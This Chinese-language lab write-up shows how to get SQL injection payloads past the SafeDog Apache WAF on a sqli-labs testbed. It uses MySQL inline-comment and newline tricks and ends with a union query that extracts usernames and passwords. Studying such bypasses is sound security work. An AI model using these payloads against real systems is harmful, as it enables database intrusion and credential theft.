环境
系统:win7x64+phpstudy+安全狗apache版 v4.0 站点:sqli-labs
bypass
Mysql 注释符:# , -- , /*...*/
Mysql 空白字符:%09,%0a,%0b,%0c,%0d,%20,%a0
绕过 and 1=1
首先判断是否有注入点: 正常情况:http://192.11.22.55/sqli/Less-1/?id=1' and 1=1 %23 (安全狗拦截) 把and 1=1拆分: http://192.11.22.55/sqli/Less-1/?id=1' and %23 (安全狗不拦截) 所以要把and和1=1当成两部分,在它们之间进行干扰。经过一番测试用/*!..*/就能绕过,payload:/*!..*/(在星号后加惊叹号,那么此解释里的语句将被执行) http://192.11.22.55/sqli/Less-1/?id=1' and /*!1=1*/ %23 (安全狗不拦截)

绕过 order by
正常情况:http://192.11.22.55/sqli/Less-1/?id=1' order by 1,2,3 %23 (安全狗拦截) http://192.11.22.55/sqli/Less-1/?id=1' order by %23 (安全狗不拦截) 所以把order by和1,2,3,x当成两部分,继续干扰。用刚刚的思路/*!..*/绕过 http://192.11.22.55/sqli/Less-1/?id=1' order by /*!1,2,3*/ %23 (安全狗不拦截)

绕过 union select
测试:http://192.11.22.55/sqli/Less-1/?id=-1' union select %23 (安全狗拦截) 尝试之前的思路union /*!select*/1,2,3 (安全狗拦截) 多次测试之后发现,需要在union和select之间进行干扰,当时这里绕了很久,没绕过去,但总感觉能弄出来。好吧,弄久了没啥灵感就去网上搜搜思路。看到了篇今年5月份的帖子

payload:e66union(/*(x/*–*\/)*/select1,2),
结果被杀了

select *from admin where id=-1 union %0aselect 1,2,3


union /*|--|*/--+%0aselect 1,2,3
http://192.11.22.55/sqli/Less-1/?id=-1'union /*|--|*/--+%0aselect 1,2,3%23 (安全狗不拦截)

绕过 union select 1,2,3 from users
利用刚刚绕过union select的payload,即可绕过,总的来说哪里拦截就干扰哪里。payload:union /*|--|*/--+%0aselect 1,username,password from /*|--|*/--+%0ausers limit 1,2 http://192.11.22.55/sqli/Less-1/?id=-1'union /*|--|*/--+%0aselect 1,username,password from /*|--|*/--+%0ausers limit 1,2%23 (安全狗不拦截)
